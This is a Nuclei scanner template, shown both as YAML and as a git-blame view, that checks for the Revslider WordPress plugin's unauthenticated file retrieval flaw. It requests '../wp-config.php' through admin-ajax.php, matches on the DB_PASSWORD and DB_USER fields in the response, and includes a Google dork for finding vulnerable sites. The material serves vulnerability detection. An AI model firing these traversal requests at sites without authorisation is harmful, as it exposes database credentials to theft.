nuclei-templates/vulnerabilities/wordpress/wp-revslider-file-download....

id: wp-revslider-file-download

info:
  name: Wordpress Revslider - Arbitrary File Retrieval
  author: pussycat0x
  severity: high
  description: The Revslider WordPress plugin iss affected by an unauthenticated file retrieval vulnerability, which could result in attacker downloading the wp-config.php file.
  reference:
    - https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html
    - https://cxsecurity.com/issue/WLB-2021090129
  metadata:
    google-dork: inurl:/wp-content/plugins/revslider
  tags: wordpress,wp-plugin,lfi,revslider

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
      - '{{BaseURL}}/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'DB_NAME'"
          - "'DB_PASSWORD'"
          - "'DB_USER'"
        condition: and

      - type: status
        status:
          - 200
Add files via upload 2021-11-21 11:30:25 +00:00			`id: wp-revslider-file-download`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00
Add files via upload 2021-11-21 11:30:25 +00:00			`info:`
Dashboard Content Enhancements (#4381) Dashboard Content Enhancements 2022-05-13 20:26:43 +00:00			`name: Wordpress Revslider - Arbitrary File Retrieval`
Add files via upload 2021-11-21 11:30:25 +00:00			`author: pussycat0x`
			`severity: high`
Dashboard Content Enhancements (#4381) Dashboard Content Enhancements 2022-05-13 20:26:43 +00:00			`description: The Revslider WordPress plugin iss affected by an unauthenticated file retrieval vulnerability, which could result in attacker downloading the wp-config.php file.`
Add files via upload 2021-11-21 11:30:25 +00:00			`reference:`
			`- https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html`
			`- https://cxsecurity.com/issue/WLB-2021090129`
lint fix + moving template to wp folder 2021-11-22 17:25:00 +00:00			`metadata:`
			`google-dork: inurl:/wp-content/plugins/revslider`
Update wp-revslider-file-download.yaml 2021-11-23 04:09:29 +00:00			`tags: wordpress,wp-plugin,lfi,revslider`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00
Add files via upload 2021-11-21 11:30:25 +00:00			`requests:`
			`- method: GET`
			`path:`
			`- '{{BaseURL}}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'`
			`- '{{BaseURL}}/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'`
lint fix + moving template to wp folder 2021-11-22 17:25:00 +00:00
Add files via upload 2021-11-21 11:30:25 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: word`
lint fix + moving template to wp folder 2021-11-22 17:25:00 +00:00			`part: body`
Add files via upload 2021-11-21 11:30:25 +00:00			`words:`
Update wp-revslider-file-download.yaml 2021-11-23 04:09:29 +00:00			`- "'DB_NAME'"`
			`- "'DB_PASSWORD'"`
			`- "'DB_USER'"`
Add files via upload 2021-11-21 11:30:25 +00:00			`condition: and`
lint fix + moving template to wp folder 2021-11-22 17:25:00 +00:00
Add files via upload 2021-11-21 11:30:25 +00:00			`- type: status`
			`status:`
Update wp-revslider-file-download.yaml 2021-11-23 04:09:29 +00:00			`- 200`